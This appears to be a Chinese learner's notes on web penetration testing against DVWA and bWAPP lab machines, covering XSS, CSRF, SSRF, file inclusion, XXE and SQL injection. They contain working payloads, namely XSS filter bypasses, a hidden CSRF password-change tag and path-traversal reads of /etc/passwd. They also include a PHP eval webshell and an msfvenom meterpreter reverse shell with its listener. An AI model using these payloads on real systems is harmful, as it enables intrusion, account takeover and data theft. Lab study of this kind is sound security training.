https://github.com/EbookFoundation/free-programming-books/blob/master/free-programming-books-zh.md 分享下GitHub 上的学习教材
Burp Suite 实战指南 URL https://t0data.gitbooks.io/burpsuite/content/
XXS简介:(跨站脚本攻击)
xss也是一种注入攻击,当web应用对用户输入过滤不严格,攻击者写入恶意的脚本代码(HTML、JavaScript)到网页中时,如果用户访问了含有恶意代码的页面,恶意脚本就会被浏览器解析执行导致用户被攻击。
常见的危害有:cookie窃取,session劫持,钓鱼攻击,蠕虫,ddos等。
反射型XXS:(自己搭建的DVWA)
反射型XXS 也叫做“非持久型“
表单提交数据 : http://192.168.1.106/dvwa/vulnerabilities/xss_r/?name=<script>alert(/hello,xss/)</script>
双写绕过<sc<script>ript>alert(/hello,xss/)</script> 大小写绕过<ScRipt>alert(/hello,xxs/)</script>
img、boy 属性标签注入js绕过 <img src=1 onerror=alert(/xxs/)>
出现的原因 php没有过滤检查属性
存储型XXS:
存储型XXS会把数据保存在服务端,这种具有很强的稳定性 这种危害最大
可以在前端代码注入 我们想要的链接
dom型xxs:
是由于未作任何安全检查,常见 我们可以在URL拼接参数
xxs Payload:
一句话 http://www.xxxx.xxx/xxxx.htm?xxx="<script src=http://URL/XXX.js></script>
CSRF跨站点请求伪造:
诱导受害者 访问木马的页面 如果Cookie没过期 可以修改用户密码 和 银行转载 等等。。。
DVWA low 源码
<?php
if( isset( $_GET[ 'Change' ] ) ) {
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
这里没有对CSRF做任何处理 比对一下 password_new password_conf 就直接修改密码
GET /dvwa/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change HTTP/1.1
<img src="http://IP/dvwa/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change#".../>
明显的password 修改 URL 明眼都能看出来 要有一个短网址 就能隐藏了。 http://dwz.cn/
SSRF 服务端请求伪造:
SSRF攻击是从外网无法访问内部系统的。正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统。
ssrf的攻击利用主要有以下几种:
1、内网、本地端口扫描,获取开放端口信息
2、主机信息收集,web应用指纹识别,获取服务banner信息
3、根据识别出的应用针对性的发送payload攻击,例如struts2
4、攻击内网和本地的应用程序及服务。
5、穿越防火墙
6、利用file协议读取本地文件,比如file:///etc/passwd
web __ ssrf 漏洞挖掘:
1.在线分享:通过URL地址分享
2.在线识图
3.在线翻译
4.图片加载与下载:通过URL下载或加载图片
5.网站订阅功能
6.图片,文章收藏功能
7.接收邮件地址的邮件系统
8.调用URL功能
9.文件处理xml,ImgeMagick
10.请求远程服务器资源,远程URL上传,静态资源
11.数据库内置功能
12.从URL关键字中寻找:share,url,link,src,source,target,sourceURl,imageURL,domain 等等
DVWA中 File Inclusion http://192.168.1.106/dvwa/vulnerabilities/fi/?page=/root/ect/passwd
http://192.168.1.106/dvwa/vulnerabilities/fi/?page=../../../../htdocs/dvwa/php.ini Windows系统和linux区别是/ \
查看是否开启 ; This file attempts to overwrite the original php.ini file. Doesnt always work. magic_quotes_gpc = Off allow_url_fopen on allow_url_include on 可以执行上传文件了 @eval($_POST['apple']);
利用metasploit 生产一个webshell 当然了你也可以自己写嘛 监听 就ol
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.105 LPORT=4444 -f raw >text.php
msf > use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
我使用的默认端口4444 show options 查看下 该set 就 set
访问 http://192.168.1.106/dvwa/hackable/uploads/text.php 触发回连的webshell
meterpreter > 后渗透 可以开始了Duck Duck Duck
XXE注入:
http://sourceforge.net/projects/bwapp/files/bee-box/ 这里有个测试项目 他说这个项目集成了一百多个漏洞看着老牛了
什么心脏出血之类的都有, 下载完虚拟机打开的时候注意下,解压完 要打开bee-box.vmx哦! 配置桥接网络就可以和主机一个IP段位了, 建议读下 bee-box_v1.6文件夹中的txt说明文件!Choose your bug: 选择测试 xxe
使用burp抓包分析
POST /bWAPP/xxe-2.php HTTP/1.1
Host: 192.168.1.101:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.1.101:8080/bWAPP/xxe-1.php
Content-Type: text/xml; charset=UTF-8
Content-Length: 59
Cookie: PHPSESSID=1c89d1163f384e32cce72d35b2d8b5ad; security_level=0
Connection: close
<reset><login>bee</login><secret>Any bugs?</secret></reset>
编辑自己要想提交xml即可
SQL注入:
常见两种形式 一种是数字型 一直是字符型 根据显示结果还分为: 会显注入 、报错注入、盲注
手工 测试DVWA SQL Injection 1' or '1234' = '12345 1‘ and '1' = ' 1
http://192.168.1.106/dvwa/vulnerabilities/sqli/?id=1%27+and+%271%27+%3D%27+1&Submit=Submit# 可以利用在线工具转码 URL 进行手工测试